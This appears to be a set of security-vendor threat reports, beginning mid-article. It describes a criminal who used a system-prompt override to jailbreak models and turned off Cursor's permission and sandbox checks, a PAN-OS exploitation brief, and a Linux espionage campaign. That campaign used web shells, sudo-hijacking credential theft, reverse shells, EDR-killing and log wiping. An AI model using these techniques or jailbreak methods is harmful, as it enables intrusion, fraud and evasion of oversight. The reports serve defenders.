The server collected these hashes over an SSH tunnel and dispatched them to Vast.ai cloud GPU instances for cracking, with results automatically reported back to the actor via Discord webhooks. This technique requires physical proximity to the target networks, indicating the actor had local access to the targeted locations.

Credential Scanning Toolkit

We also identified a large Go-based credential-scanning toolkit. This toolkit scrapes webpages and extracts exposed credentials, including:

  • .env values
  • S3 signed URLs
  • Google Cloud service account keys
  • Content delivery network (CDN) API keys
  • Private keys in log files

A companion Python script scrapes domain lists for scanning.

Cryptocurrency Reconnaissance

The actor scraped the top 500 ETH holders and major token holders via the DeBank API, producing intelligence files that documented 45 cryptocurrency whales with net worth figures. We assess this was likely for future targeting, but we were unable to identify any follow-on activity during this research.

Tool Design and Infrastructure

The threat actor used a single US-based server (162.243.3[.]92) to host multiple core services, including:

  • The Hermes Agent framework
  • A C2 listener
  • A Cursor integrated development environment (IDE) proxy
  • Several supporting components

Our analysis of the actor’s logs and test scripts indicates that they experimented with various LLMs, including GLM 5.2 by Zhipu AI and other models accessed through OpenRouter. Ultimately, they chose DeepSeek V4 as the backend for operations.

The actor's test scripts show repeated attempts to defeat model safety controls with a prompt-level override. Although GLM 5.2 is an open-weight model that has been reported as weakly guarded, the actor built a dedicated script to send the override to GLM 5.2 and flag refusals. This is evidence of resistance the actor worked to overcome.

The actor ultimately operationalized DeepSeek V4, consistent with the minimal safety controls observed in the Chinese-speaking activity we previously reported. Figure 5 shows an example of the system prompt the actor used to override model safety controls (from the actor's model-testing scripts, e.g., test_batch1.py).

Screenshot of a system prompt outlining critical and core directives. It emphasizes zero restrictions, complete answers, and no refusal or censorship.
Figure 5. Example of a system prompt to override model safety.

Table 1 summarizes the actor's AI tool configurations.

Tool Model Role Safety Configuration
Hermes Agent DeepSeek V4 Primary AI assistant, Telegram-controlled System prompt override
Cursor IDE Multiple models configured (Claude Opus 4.8, GPT-5.5, Composer 2.5, others) AI-assisted code generation Agent mode forced and permission checks bypassed via proxy environment variables; IDE sandbox set to disabled; MCP servers auto-approved

Table 1. AI tool configurations.

Figure 6 shows a flowchart that illustrates the actor's infrastructure and how the AI tools interconnect.

Flowchart showing a WiFi cracking pipeline. The chart includes entities like ORG1, ORG2, and ORG3, which connect to a Proxy server. The main server communicates with several components. Arrows indicate data flow between these entities.
Figure 6. Actor infrastructure and AI tool relationships.

The Hermes Agent served as the actor's primary interface, controlled via Telegram direct messages. The actor maintained three Hermes profiles as specialized AI modes, each running as a separate Telegram bot gateway spawned from the operator's session (Table 2).

Profile Command Working Directory (CWD) Description
make-good hermes gateway run --profile make-good /root/.hermes/profiles/make-good General-purpose criminal assistant with safety overrides
alice hermes gateway run --profile alice /root/.hermes/profiles/alice VoIP fraud advisor; covers carrier compliance evasion, STIR/SHAKEN bypass and LLC formation
pandarouter hermes gateway run --profile pandarouter /root/.hermes/profiles/pandarouter VoIP route management and carrier research

Table 2. Telegram Hermes profiles.

The actor configured four additional profiles (dev, check, vuln, deploy) in a shared Telegram group. While we did not observe any chat artifacts for these profiles, the naming suggests the actor used AI to assist with development, validation, vulnerability testing and deployment automation functions.

The Cursor IDE was configured through a proxy script named cipher-proxy.sh that set environment variables to enable full agent mode and bypass its permission and sandbox controls. The configuration and the AI-generated scripts on the host shown below in Figure 7 suggest the actor used it for code development.

Screenshot of a code snippet displaying several export commands setting environment variables. The variables define permissions, filesystem access, and workspace configurations.
Figure 7. Configuration info on the host.

Attribution

We assess the actor is a financially motivated, multi-domain criminal operator with no prior reporting. The actor is English-speaking with informal, frequently broken grammar. The alice bot's stored memory describes the actor as a “gamer, OSINT, VoIP entrepreneur” claiming to hold a US LLC and EIN. Figure 8 below shows text from the pandarouter bot's stored memory, which is more candid.

Screenshot of text from the pandarouter bot's stored memory discussing intentions of amassing wealth using various methods, including hardware hacking and server hacking.
Figure 8. Text from the pandarouter bot's stored memory.

Table 3 lists further attribution indicators of this actor.

Indicator Value
Email bugstergap@gmail.com
Display name B U G S T E R
Cursor IDE user ID 158034011
Telegram user ID 7593151260

Table 3. Attribution indicators.

Conclusion

This case illustrates how AI lowers the skill barrier for cybercrime. The actor used basic tooling and relied on AI-generated scripts and reconnaissance reports, but still achieved notable impact. They recovered more than 5,200 PII records and mapped multiple organizations' attack surfaces. AI enabled a single actor to operate across diverse attack types (credential theft, VoIP fraud, Wi-Fi cracking, cryptocurrency targeting) that would traditionally require distinct skill sets.

The VoIP fraud planning demonstrates a particularly notable use of AI as a domain expert. With DeepSeek V4 as the underlying model, the actor's bot profiles provided detailed, actionable criminal guidance.

This guidance included specific fraud-to-clean traffic ratios, carrier audit thresholds to stay below and operational security measures to avoid detection. The model's minimal safety controls allowed it to function as an on-demand criminal advisor, enabling the actor to acquire operational expertise through conversation rather than experience.

Combining these findings with our previous reporting on a Chinese-Speaking threat actor leveraging the Hermes + DeepSeek toolchain points to growing uptake of this combination among cybercriminals.

Palo Alto Networks customers are better protected from the threats discussed above through the following products:

  • Advanced URL Filtering and Advanced IP Defense identify known domains and URLs associated with this activity as malicious.
  • Cortex XDR and XSIAM are designed to accurately detect the threats described in this article with the Malware Prevention Engine, and behavioral analytics to reveal the root cause to speed up investigations.
  • Cortex Agentic Endpoint Security is designed to help discover every AI artifact and AI agents activity across the agentic endpoint, assess its risk, enforce prevention and runtime controls, and remediate violations.
  • Cortex Cloud is designed to protect cloud posture and runtime operations against identity-driven threats by pairing static permission baselines with deep behavioral context. By embedding the functional identity baselines discussed in this research into our detection engine for both cloud VM compute and serverless agents, Cortex Cloud adds a vital layer of operational context, enabling security teams to filter out noisy false positives and decisively catch threat actors attempting to disguise their presence, alter configurations or execute anomalous operations in the environment.
  • Idira Privileged Access Manager (PAM) is designed to unify privileged access across human, machine, and agentic identities to secure cloud access across multi-cloud environments. Building on proven PAM, it delivers centralized secrets management alongside modern controls like Just-in-Time access and Zero Standing Privileges. This enforces consistent least-privilege security across on-premises, cloud, and SaaS targets.
  • Idira Identity and Access Manager (IAM) is designed to enable secure, unified access across human, machine, and AI identities, balancing granular control with a seamless user experience. Powered by SSO, phishing-resistant MFA, passwordless login, and enterprise password management, Idira IAM extends intelligent privilege controls and session security across the broader workforce to meet the security demands of today and tomorrow.
  • Idira Secrets Manager is designed to help secure and automate API keys and webhook tokens just-in-time to eliminate hardcoded credentials and prevent exfiltration.

The Unit 42 AI Security Assessment and Unit 42 Frontier AI Defense service can help identify and mitigate complex AI-enabled risks.

Organizations can access tailored adversary intelligence, direct analyst consultations, and specialized exposure tracking through Unit 42 Threat Intel Services and its Deep and Dark Web Service.

If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call:

  • North America: Toll Free: +1 (866) 486-4842 (866.4.UNIT42)
  • UK: +44.20.3743.3660
  • Europe and Middle East: +31.20.299.3130
  • Asia: +65.6983.8730
  • Japan: +81.50.1790.0200
  • Australia: +61.2.4062.7950
  • India: 000 800 050 45107
  • South Korea: +82.080.467.8774

Palo Alto Networks has shared these findings with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance.

Indicators of Compromise

  • 162.243.3[.]92 - actor infrastructure
  • 104.238.38[.]202 - commercial proxy server

Additional Resources

Threat Brief: Active Exploitation of May 2026 PAN-OS CVE-2026-0257 (Updated October 20)

Executive Summary

October 19 Update: Unit 42 continues to observe attempted exploitation of CVE-2026-0257 by ransomware operators including Spikey Scorpius (aka Qilin) and Tarnished Scorpius (aka Inc). We’re also aware of public reporting attributing exploitation to threat actors using Settra ransomware.


Palo Alto Networks Unit 42 has observed active exploitation of PAN-OS vulnerability CVE-2026-0257 by an unidentified threat actor attempting to access GlobalProtect. This security flaw involves an authentication bypass in the portal and gateway components of vulnerable versions of PAN-OS® software, which could allow unauthorized attackers to circumvent security controls and initiate virtual private network (VPN) connections. This CVE was added to the Known Exploited Vulnerability (KEV) catalog on May 13, 2026.

No post-access behavior or lateral movement has been identified as of this time. Only a small portion of the probed devices actually established VPN sessions, resulting in gateway-connected events.

We advise organizations to proactively hunt for the indicators of the activity specified in this report and activate incident response protocols for any successful gateway-connected events linked to these indicators. Additionally, we strongly recommend reviewing the security advisory for CVE-2026-0257, following the available workarounds and mitigations or upgrading to a version that includes a fix for this issue.

For pre-proof-of-concept release (May 29, 2026) activities, search for these IP addresses in GlobalProtect logs to look for successful login connection:

  • 23.128.228[.]6
  • 104.207.144[.]154
  • 146.19.216[.]119
  • 146.19.216[.]120
  • 146.19.216[.]125
  • 179.43.172[.]213
  • 185.195.232[.]139
  • 198.12.106[.]60
  • 202.144.192[.]47

Search GlobalProtect logs for successful gateway-connected events from any IP address using suspicious host IDs or device names, including but not limited to:

  • aa:bb:cc:dd:ee:ff
  • 00:11:22:33:44:55
  • WINDOWS-LAPTOP-001
  • DESKTOP-GP01
  • GP-CLIENT

As part of post-PoC release monitoring, search GlobalProtect logs for successful gateway-connected events matching the following hard-coded client configuration values from the PoC code.

  • endpoint_os_version : Microsoft Windows 10 Pro 64-bit
  • source_user_info.domain : empty

We encourage organizations to consult our official Palo Alto Networks Security Advisory for additional details about the vulnerability, impacted products and configuration guidance. We also recommend reading Rapid7’s technical analysis about the exploitation activity they observed in the wild.

Palo Alto Networks Cortex Xpanse is able to identify publicly exposed PAN-OS gateways and GlobalProtect portals.

Management Interface Exposure Risk and Remediation

During incident response (IR) engagements associated with the Lunar Peak campaign, Unit 42 observed a recurring misconfiguration that led to critical, unintended exposure. Specifically, organizations frequently mapped GlobalProtect (GP) profiles to HTTP/HTTPS services on their management interfaces. 

This configuration inadvertently exposes the management interface to the internet on specific ports, most notably 4443 and 3879, often without administrators' knowledge. While the risks of this exposure were previously documented, the frequency of this oversight during the Lunar Peak incidents prompted a comprehensive update to our official guidance to ensure maximum clarity.

Verification and mitigation:

  • Verify exposure: Defenders can rapidly verify whether their environments are affected by attempting an out-of-band HTTPS connection to their management IP address on ports 4443 and 3879 via an external web browser.
  • Remediate: To remediate this issue and enforce the principle of least privilege, we strongly advise administrators to review official Palo Alto Networks documentation on configuring Interface Management profiles to safely restrict access.

Update: Oct. 19, 2026

Ransomware operators exploiting CVE-2026-0257 include Spikey Scorpius (aka Qilin) and Tarnished Scorpius (aka Inc). Public reporting attributes exploitation to threat actors using Settra ransomware.

Attackers are leveraging this vulnerability to gain an initial foothold into corporate networks, subsequently bypassing multi-factor authentication (MFA) controls to establish a VPN session. Following this, the threat actors are typically:

  • Conducting internal network reconnaissance using dual-use remote monitoring and management (RMM) tools
  • Moving laterally via RDP and SMB
  • Staging additional tooling for credential harvesting, data exfiltration and ultimately, ransomware deployment

Our investigations have been ongoing since early June 2026 and have spanned across numerous industries, including:

  • Education
  • Financial services
  • Healthcare
  • High technology
  • Hospitality
  • Manufacturing
  • Professional and legal services
  • Government
  • Transportation and logistics
  • Utilities and energy
  • Wholesale and retail

The most significant evolution in tactics, techniques and procedures (TTPs) following successful exploitation of CVE-2026-0257 is the direct pivot to the virtualization layer. In one notable case, attackers moved from the compromised VPN gateway to the vCenter management appliance. From there, they disabled security controls on ESXi hypervisors (execInstalledOnly) and used a custom tool to perform offline credential dumping directly against a domain controller's virtual disk (VMDK).

This tactic bypasses in-guest endpoint detection and response (EDR) and security controls, representing a highly sophisticated method for obtaining domain-wide credentials. We have also observed actors chaining this initial access with other exploit tools, such as those targeting Veeam backup infrastructure (CVE-2023-27532), to maximize their impact.

Conclusion

Palo Alto Networks has shared our findings with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance.

We will update this threat brief as more relevant information becomes available.

The products listed below can help protect PANW customers against exploits targeting CVE-2026-0257.

Palo Alto Networks Product Protections for PAN-OS CVE-2026-0257

Palo Alto Networks customers can leverage a variety of product protections and updates to identify and defend against this threat.

Organizations can access tailored adversary intelligence, direct analyst consultations, and specialized exposure tracking through Unit 42 Threat Intel Services and its Deep and Dark Web Service.

If you think you might have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call:

  • North America: Toll Free: +1 (866) 486-4842 (866.4.UNIT42)
  • UK: +44.20.3743.3660
  • Europe and Middle East: +31.20.299.3130
  • Asia: +65.6983.8730
  • Japan: +81.50.1790.0200
  • Australia: +61.2.4062.7950
  • India: 000 800 050 45107
  • South Korea: +82.080.467.8774

Cloud-Delivered Security Services for the Next-Generation Firewall

Advanced URL Filtering and Advanced IP Defense are designed to identify known IP addresses associated with this activity as malicious.

Cortex AgentiX

Security analysts can use natural language to prompt the Cortex AgentiX Threat Intel agent to extract file indicators from this threat brief. They can then enrich them, check for sightings in their Cortex tenant and related alerts, and provide a quick summary of the impact to the organization.

Cortex XDR and XSIAM

Cortex XDR and XSIAM are designed to provide comprehensive protections for endpoint attacks. It helps block post-exploit activity with its Behavioral Threat Protection, AI-driven local analysis, cloud-based malware analysis and other security engines across Windows, Linux, and Mac systems.

Cortex Xpanse

Cortex Xpanse has the ability to identify exposed PANOS devices on the public internet and escalate these findings to defenders. Customers can enable alerting on this risk by ensuring that the PAN-OS Device Attack Surface Rule is enabled. Identified findings can either be viewed in the Threat Response Center or in the incident view of Expander. These findings are also available for Cortex XSIAM customers who have purchased the ASM module.

Indicators of the Activity

IP Addresses

  • 23.128.228[.]6
  • 104.207.144[.]154
  • 146.19.216[.]119
  • 146.19.216[.]120
  • 146.19.216[.]125
  • 179.43.172[.]213
  • 185.195.232[.]139
  • 198.12.106[.]60
  • 202.144.192[.]47

Host Names and Mac Addresses

  • aa:bb:cc:dd:ee:ff
  • 00:11:22:33:44:55
  • WINDOWS-LAPTOP-001
  • DESKTOP-GP01
  • GP-CLIENT

Additional Resources

Updated June 9, 2026, at 11:45 a.m. PT to add XDR and XSIAM product coverage.

Updated October 19, 2026, at 4:00 p.m. PT to add recent ransomware group activity.

Updated October 20, 2026, at 1:30 p.m. PT to add verification and remediation guidance.

Top 5 Initial Access Threat Vectors Observed by Unit 42 in September 2026

This report provides an overview of the top five initial access threat vectors observed by Unit 42 Threat Intelligence for September 2026. Adversary activity during this period demonstrates a pronounced reliance on external edge exploitation and identity compromise, with the targeting of public-facing infrastructure and legitimate credential abuse serving as the primary footholds for intrusion campaigns. Concurrently, social engineering continues to drive targeted operations against public sector and critical infrastructure targets, while high-impact supply chain intrusions and zero-interaction drive-by compromises pose acute systemic risks across interconnected technology ecosystems.

Ranking Threat Title Overview & Behavior Description
1

(Primary Entry Vector)

Exploitation of Public-Facing Applications Represents the primary and most frequent entry mechanism observed during the reporting period, characterized by multiple threat clusters identifying and compromising exposed internet-facing web applications, database instances, and perimeter services to establish initial persistent footholds.
2

(Secondary Prevalent Vector)

Valid Credentials & Credential Abuse Serves as a leading operational access vector where adversaries utilize pre-harvested, sprayed, or illicitly obtained authentication material, frequently chained alongside edge-service vulnerabilities to bypass perimeter defenses and blend in with legitimate user activity.
3

(Leading Social Engineering Vector)

Phishing / Targeted Social Engineering Functions as a primary delivery mechanism across both electronic messaging and browser-centric lures, predominantly deployed to compromise credentials and execute payloads across public sector, defense, and regional enterprise environments.
4

(High-Impact Systemic Vector)

Supply Chain Compromise Represents a specialized, high-consequence vector highlighted in targeted reporting, notable for producing widespread cascading impact across diverse critical industry sectors due to advanced attacker tradecraft and trusted-relationship exploitation.
5

(Specialized Delivery Vector)

Drive-By Compromise / Watering Hole Operates as an automated exploitation technique where target traffic directed to compromised or malicious web destinations triggers system compromise without requiring interaction beyond site visitation, observed across select specialized threat operations.

Table 1. Top 5 Initial Access Threat Vectors

Unit 42 Threat Intelligence Services provide organizations with direct access to elite frontline threat expertise, enabling security teams to prioritize real risks and sharpen detection capabilities . These human-led services combine world-class intelligence with direct access to the analysts behind it, offering tailored context and guidance aligned to a customer's specific environment.

AI-Powered Espionage Campaign Targets Government Linux Infrastructure

Executive Summary

Unit 42 identified a campaign targeting government entities and state-affiliated infrastructure, with observed activity spanning from October 2025–April 2026. We track this activity as CL-UNK-1211.

In the operations we witnessed, the attackers relied on AI-generated payloads. Multiple artifacts deployed throughout the intrusion contained AI-made conversational annotations and developer reasoning comments, suggesting that the code was either generated using large language models (LLMs) or executed by an automated AI agent.

The attackers behind this cluster of activity focused on Linux environments to conduct extensive reconnaissance and maintain persistent network access to support intelligence-gathering. The attackers attempted to dump sensitive databases and exfiltrate government mailboxes to access social media accounts.

The campaign included a diverse toolkit that combined open-source tools, custom cross-platform backdoors and widespread web shell deployments. We observed various defense evasion techniques, including attempts to disable endpoint protections, erase system logs and plant deceptive red-team markers to disguise activity as a legitimate security assessment.

Our attribution of this activity to CL-UNK-1211 is in accordance with the Unit 42 attribution framework. We designate the term UNK to clusters of activity whose affiliation with either nation-state or cybercrime activity we have not yet determined.

This investigation uncovers the defining tools, techniques and attack patterns of this activity cluster.

Palo Alto Networks customers are better protected from the threats discussed above through the following products and services:

The Unit 42 AI Security Assessment and Unit 42 Frontier AI Defense service can help identify and mitigate complex AI-enabled risks.

If you think you might have been compromised or have an urgent matter, contact the Unit 42 Incident Response team.

Related Unit 42 Topics AI, Credential Harvesting, Linux

Technical Analysis Overview

Our analysis of the CL-UNK-1211 cluster of activity reveals a versatile operational playbook tailored to enterprise Linux and database environments. The attackers targeted government entities and state-affiliated infrastructure, maintaining persistent access by using a combination of custom cross-platform backdoors, open-source utilities and widespread web shell deployments.

The attackers enumerated mailboxes to identify and gain access to social media accounts tied to government email addresses. In addition, they dumped entire database contents before attempting to exfiltrate the data.

The attackers behind CL-UNK-1211 exhibited a methodical approach to defense evasion. This included attempting to disable endpoint protections on compromised systems, and to tamper with system logs that might contain evidence of the attack.

We provide a comprehensive analysis of the defining tools, techniques and procedures (TTPs) used throughout the operation, highlighting how the attackers leveraged AI to streamline payload creation across their execution workflow. Our analysis details key mechanisms across the attack chain. These include:

  • Initial access via web shell deployment and credential harvesting
  • Custom RAT execution
  • Mailbox targeting
  • Anti-forensics measures

Using AI to Streamline Payload Creation

Throughout the operation, the attackers relied on malicious PHP and shell scripts to maintain persistence, perform reconnaissance and exfiltrate data. These payloads revealed structural patterns and artifacts consistent with AI-assisted code generation.

Rather than standard developer documentation, multiple scripts contained conversational, step-by-step reasoning notes. These notes explained the code’s logic to the operator who provided the initial instructions. Their presence suggests that the code was either copied directly from an AI prompt output or deployed by an automated AI agent.

In addition, we identified several common characteristics that are consistent with AI-operated attacks, such as:

  • Section headers in scripts and shell commands, which AI uses to analyze the output faster
  • Extensive use of Base64-encoded commands
  • Seamless switching between different technologies throughout the attack, including PHP, JavaScript, Bash and Python

Figure 1 shows snippets of code from scripts used by the attackers that contained AI-generated comments.

Screenshot of a code snippet with comments highlighted by red arrows. The comments discuss conversational aspects and the use of AI. The code includes SQL queries and includes variables for keywords and document handling. Some comments provide detailed explanations for specific code functions.
Figure 1. Snippets of code containing comments, indicating the use of AI.

Dropping Multiple Web Shells for Initial Access

To gain access and maintain a persistent backdoor into the host networks, the attackers deployed a variety of web shells on the targeted Linux servers. These were a combination of custom and open-source web shells found on GitHub. Figure 2 shows interactive web shell activity from the php-fpm parent process.

Flowchart illustrating a cyber attack process in Cortex XDR. The diagram has multiple nodes showing command executions, including a renamed Python 3 interpreter. Key actions include viewing the passwd file, downloading a malicious script from a file-hosting platform, and viewing the shadow file. The chart involves several command sequences with red warning icons indicating potential security threats.
Figure 2. Interactive web shell activity, as shown in Cortex XDR.

To achieve persistence, the attackers modified the auto_prepend_file value across all PHP configurations under the directories /etc/php/ and /opt/plesk/php/. These directories store all default PHP configuration files and Plesk (web hosting control panel) configuration files. Any file that is specified in the modified auto_prepend_file value will automatically load and execute before any other PHP script runs.

In one instance, the attackers deployed a malicious PHP web shell as a file named /usr/lib/php/plesk_sys_driver.php to appear legitimate. They also modified the auto_prepend_file to load the malicious web shell to ensure persistence. Figure 3 shows the attacker-deployed PHP script, including the original inline comments.

Screenshot of a code editor, featuring a script written in shell and PHP. It outlines three steps: writing a backdoor, configuring PHP, and restarting services. The text is color-coded for syntax highlighting, and there is blurred text at the top of the image.
Figure 3. Malicious PHP script used to deploy a web shell and modify the auto_prepend_file of every configuration file under /etc/php/ and /opt/plesk/php/.

Credential Harvesting Techniques

The attackers used multiple methods to gather credentials in the targeted environments, including:

  • Editing the .bashrc file
  • Inserting malicious lines of code into PHP scripts
  • Scanning the network for cleartext passwords

Hijacked .bashrc File

The attackers replaced the .bashrc file with a copy containing a malicious command that steals victims’ passwords. In one instance, they created an alias for the sudo command that was designed to execute each time a user attempted to run it. The malicious command:

  • Displays a prompt for the user to insert their password (mimicking the standard system authentication prompt)
  • Captures the inserted password
  • Writes it to the attackers’ log file

The harvested password is then passed to the legitimate sudo command for execution, leaving the victim unaware of the underlying interception. The attackers named the log file Solarwinds.StatusLog.txt, to mimic legitimate SolarWinds activity in the environment. We have no evidence of SolarWinds systems and infrastructure being compromised during this operation; the attackers misused the organization’s name as an evasion method.

Figure 4 shows the command hijacking technique inside the .bashrc file.

Screenshot of a line of code in a text editor, written in a dark-themed interface. The code defines an alias command that involves "sudo" privileges, password handling, and includes the use of base64 encoding.
Figure 4. Snippet of the .bashrc file, showing the command used to hijack the sudo command.

PHP Credential Logger

The attackers inserted a line of code into a PHP login page — most likely targeting a database authentication routine — to harvest admin credentials. If an administrator logs in, the code forwards the username and password to the attackers’ log file. Figure 5 shows a snippet of a PHP script including the code added by the attackers.

Screenshot of a code snippet showing PHP script vulnerability. Inside a red box, a line is inserted to capture credentials with keys "username" and "password". A comment indicates it’s an inserted line to capture credentials.
Figure 5. Code snippet of a PHP script that was inserted with a credential logger.

Scanning for Cleartext Passwords

The attackers searched for email, SMTP and database passwords inside configuration files and command history files. Figure 6 shows an example of commands that the attackers used to search for cleartext passwords.

Diagram of Cortext XDR threat chain with three nodes, labeled "1" and "2", connected by arrows. Nodes are marked with "sshd" indicating SSH daemon involvement. Red-bordered boxes show command snippets targeting credential extraction from history files, WordPress config files, and SMTP/email accounts.
Figure 6. Searching for cleartext passwords in files, as seen in Cortex XDR.

SysGoRAT Malware

The attackers deployed a custom-developed, multi-platform remote access Trojan (RAT) written in Go, first observed under the benign file name sys-control-client. We named this malware SysGoRAT. This malware supports cross-platform execution on Windows and Linux and employs multiple persistence methods to maintain long-term access.

The malware established a command and control (C2) connection over WebSocket to wss://<addr>/ws. This WebSocket address defaults to a hardcoded IP address 104.194.158[.]65:443, which the malware operator can modify via a command-line parameter at execution. SysGoRAT supports a fixed set of seven command types, described in Table 1.

Action Behavior
command Executes arbitrary commands via /bin/sh -c (Linux) or cmd /C (Windows)
control Dispatches one of four sub-actions (see Control Sub-Actions in Appendix A)
list_dir Lists directory content
shell_input Creates an interactive shell session
proxy_connect Establishes a TCP connection to an arbitrary target
proxy_data Relays data bidirectionally to an established proxy connection
proxy_close Terminates and removes a proxy session

Table 1. SysGoRAT command types.

The malware’s sub-actions provide additional capabilities and persistence methods, detailed in Appendix A.

The attackers renamed the binary on disk to blend in, using different benign names on targeted endpoints, including:

  • sys-control-client
  • pip2.7
  • ea_install
  • ./semanage

In-Memory Reverse Shells

The attackers employed multiple reverse shell techniques across at least seven distinct C2 servers. To avoid leaving forensic artifacts on the disk, these shells operated almost entirely in memory using built-in system utilities:

  • Named pipe via Netcat: The primary method, deployed across three separate C2 servers, used a named pipe pattern to execute bash commands directly over a network socket.

  • Bash TCP redirects: The attackers redirected the output of bash commands to an attacker-controlled external IP address.

  • Python subprocesses: The attackers ran a Python script to spawn a remote interactive shell. They achieved this by opening an outbound network socket and binding it to a /bin/bash process, giving them an accessible command-line interface.

Organizations can defend against reverse shell techniques by enforcing strict outbound firewall rules and using endpoint detection to spot standard utilities that spawn interactive shells. Figure 7 shows the reverse shell command that Cortex XDR detected and prevented.

Screenshot of Cortex XDR investigation interface. There's a flowchart illustrating a process with icons labeled "php-fpm" and "python3." Text in a red box displays a Python reverse shell command. Highlighted details include "Behavioral Threat Protection," "Malware," and "Prevented (Blocked).
Figure 7. The Python-based reverse shell, as detected and prevented by Cortex XDR.

Targeting Mailboxes for Social Media Account Access

The attackers targeted official government mail servers to steal emails and facilitate access to external social media accounts.

In this operation, the attackers enumerated the /var/qmail/mailnames/ directories for several domains and counted the number of emails stored in specific users’ Maildir/cur/ directories to identify targets.

Next, the attackers searched for social media-related emails. They deployed a PHP script, named search_social.php, that searched for specific keywords in email headers and displayed the results in a user-friendly format. Figure 8 shows the first part of the script.

Screenshot of PHP code targeting emails related to social media entities like Facebook, Instagram, Twitter, TikTok, and LinkedIn. Key sections are highlighted: iterating through mail directories and reading the first 4KB of files to extract mail headers.
Figure 8. A PHP script that searched for social media emails.

The script then parsed the response and displayed the exact file path, social media account email sender, recipient and subject.

Figure 9 demonstrates the expected output.

Screenshot of an email header indicating a password reset request, with Facebook as the sender.
Figure 9. Expected output from the script.

After identifying the specific emails they wanted to exfiltrate, the attackers attempted to generate a bash script named zip_mails.sh that would iterate through users’ directories and compress their emails into ZIP archives. Figure 10 shows this command.

Screenshot of a terminal displaying a shell script command. The script involves creating and modifying a file located in the "/tmp" directory, navigating to directory paths, zipping files, and setting permissions.
Figure 10. Command used to exfiltrate entire mailboxes.

This bash script is intended to exfiltrate an entire mailbox rather than a specific social-media-related file identified by the previously analyzed script. In this particular instance, we found that the script contained syntax errors, such as a broken variable assignment user=\;) and would fail upon execution.

We found indications that the attackers also intended to exfiltrate multiple databases and steal highly sensitive government data. The data exfiltration techniques the attackers used are detailed in Appendix B.

Defense Evasion and Anti-Forensics Attempts

A core component of the attackers’ playbook involved anti-forensics techniques, specifically:

  • Attempting to disable endpoint protections
  • Tampering with logs
  • Timestomping
  • Disguising malicious activity
  • Deleting residual artifacts to hinder post-incident analysis

This section details the specific evasion techniques and cleanup commands the attackers used to cover their tracks.

Disabling Endpoint Protection

One of the techniques the attackers used for defense evasion was an attempt to disable security protection devices on the compromised hosts. As Figure 11 shows, the attackers executed bash scripts that use the Linux commands pgrep and pkill to attempt to terminate Cortex XDR-related processes on infected systems.

 Screenshot of a code snippet in a terminal. It includes comments and commands for checking and killing processes related to "traps," "pmd," and "cortex".
Figure 11. Snippets of code from a script used in an attempt to terminate Cortex XDR.

These attempts were successfully detected and mitigated by Cortex XDR, with telemetry confirming that endpoint protections were not suppressed.

Removing Scripts After Execution

Throughout the campaign, the attackers ensured that single-use scripts were removed after execution by formulating a single command that:

  • Wrote the script to disk
  • Executed the script
  • Removed the script using rm

Figure 12 shows an example of this procedure as executed by the attackers.

Screenshot of a code snippet showing a script execution related to database check using PHP. A red box highlights the file path with an annotation "Removing the script after execution."
Figure 12. A one-line command used to write, execute and remove a malicious PHP script.

Timestomping

For scripts that were meant for long-term use, the attackers used timestomping.

They used the command touch -t to change the access and modification time of malicious files, to make them appear as if they were created long before the attack started. The goal of this technique is to evade analysis by misleading analysts into believing the file is unrelated to malicious activity, due to its creation time predating the attack timeline.

Disguising Activity as Red Team Operations

In several instances, we observed the attackers employing planted deception techniques to mislead post-incident analysis. They attempted to disguise their activity as a red team operation, by using operational indicators such as the key RedTeamOps2025 in one of the malicious scripts, and pentest123 as a password for a user the attackers created.

Cleaning Up Logs and Residual Files

Following the exfiltration attempts, the attackers initiated a full cleanup of log files and malicious residual files on the systems. This cleanup included attempts to delete logs related to:

  • Authentication
  • Command history
  • Email activity
  • Operating system (OS)
  • Web server
  • Active PHP user sessions

Figure 13 shows the execution of shell commands to delete various log files from the system.

Cortex XDR diagram illustrates a process chain using "php-fpm" and renamed Python 3 interpreters. The PHP process leads into two nodes, each connected to a Python process marked by a triangle with an exclamation point. Several shell commands are executed to clear logs and command history files.
Figure 13. Shell commands used to delete log files from the system, as seen in Cortex XDR.

Following the mass log deletion, the attackers executed several automated cleanup commands and scripts, and verified that any evidence of the exfiltration was deleted.

Figure 14 shows one of the attackers’ cleanup scripts, including the original inline comments. The script attempts to delete various logs across the system for a second time and to remove any files from /tmp/, where the attackers stored malicious scripts.

Screenshot of a terminal displaying a shell script. The script includes commands to find and truncate log-related files in system and vhost directories, current domain logs, and clear session, temporary data, and connection logs. The script also wipes history and displays a success message upon completion.
Figure 14. A snippet of the attackers’ cleanup script used to clean log files from evidence.

After the cleanup phase, the attackers attempted to verify the removal of evidence, checking whether IP addresses they used were removed from system log files, as Figure 15 shows.

Screenshot of a code snippet in a terminal window. It includes bash commands to search for sensitive strings in logs, check a specific configuration file's presence, and perform a final check of system stats.
Figure 15. A snippet of the attackers’ “verify” script, used to verify the deletion of logs.

Additional commonly used TTPs that the attackers leveraged throughout the campaign are detailed in Appendix B.

Conclusion

This campaign demonstrates how attackers are combining traditional post-exploitation techniques with AI-accelerated workflows to target governmental Linux server infrastructure. By leveraging AI to rapidly generate, adapt and deploy operational scripts, the attackers behind CL-UNK-1211 maintained a fast pace of operation while minimizing manual developer overhead.

The attackers behind this activity exhibited a deep understanding of the Linux OS, employing techniques such as:

  • Global PHP configuration hijacking for persistent access
  • Command-line credential harvesting and privilege escalation using different shells

Alongside open-source utilities, their toolkit featured custom tools, including a multi-platform Go RAT and custom vulnerability scanners.

The attackers also maintained a thorough cleanup strategy to thwart forensic analysis, by erasing system logs and attempting to disable endpoint protections. Despite these evasion efforts, endpoint security controls effectively neutralized their activity. Cortex XDR detected and prevented the process termination attempts targeting the agent.

Attackers continue to adopt AI to streamline payload development and scale their campaigns.

Comprehensive visibility into Linux servers, databases and environments remains critical to countering attackers’ efforts and strengthening enterprise security.

Palo Alto Networks Protection and Mitigation

We used the Cortex Agentic Assistant, powered by Cortex AgentiX, to streamline this investigation. The Assistant enabled the team to query the data using natural language, providing deeper context and insights, and suggesting clear recommendations for what researchers should do next. Figures 16 and 17 show examples of output from Cortex AgentiX.

